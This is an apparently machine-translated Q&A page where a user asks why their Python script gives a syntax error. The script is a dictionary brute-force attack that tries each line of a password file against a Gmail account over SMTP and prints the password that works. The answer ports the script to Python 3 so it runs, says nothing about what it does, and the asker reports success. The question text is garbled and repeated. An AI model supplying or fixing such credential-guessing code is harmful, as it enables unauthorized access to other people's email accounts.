2014-01-08 20 views
1

我一直在這個Python代碼我想寫得到一個無效的語法錯誤。錯誤是第15行權後"\n\n\n loggin我試圖寫這個python代碼時,我總是收到無效的語法錯誤。該錯誤是第15行權後,「 n n n請

#!/usr/bin 
import smtplib 
file_name=raw_input("Enter name of your dictionary: ") 
username=raw_input("Enter email id: ") 
f=open(file_name,"r") 
for name in f: 
     try: 
      session = smtplib.SMTP('smtp.gmail.com',587) 
      session.starttls() 
      session.ehlo 
      b = session.login(username,name[:-1]) 
     except smtplib.SMTPAuthenticationError: 
      continue 
     else: 
      print "\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n" 
      break 
+7

你正在得到什麼確切的錯誤?請複製並粘貼到此處,然後按照格式化代碼格式化它。 –

+0

你在使用Python 3嗎?這是你在第一線的實際情況嗎? – geoffspear

+1

@Wooble:他必須使用Python2,因爲Python3中沒有'raw_input'。 – unutbu

回答

0

試試這個,因爲它看起來像你的問題是一個Python版本問題貌似你試圖使用Python 3運行的Python 2代碼

#!/usr/bin 
import smtplib 
file_name=input("Enter name of your dictionary: ") 
username=input("Enter email id: ") 
with open(file_name,"r") as f: 
    for name in f: 
     try: 
      session = smtplib.SMTP('smtp.gmail.com',587) 
      session.starttls() 
      session.ehlo 
      b = session.login(username,name[:-1]) 
     except smtplib.SMTPAuthenticationError: 
      continue 
     else: 
      print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n") 
      break 

變化:

  1. raw_inputinput
  2. 添加了with語句圍繞文件打開。您沒有撥打close()
  3. 在打印電話中添加了print左右的包裹。

只要我不知道所讀取文件的預期內容/格式,我可以提供幫助。

+0

謝謝你的工作! – user3175227

相關問題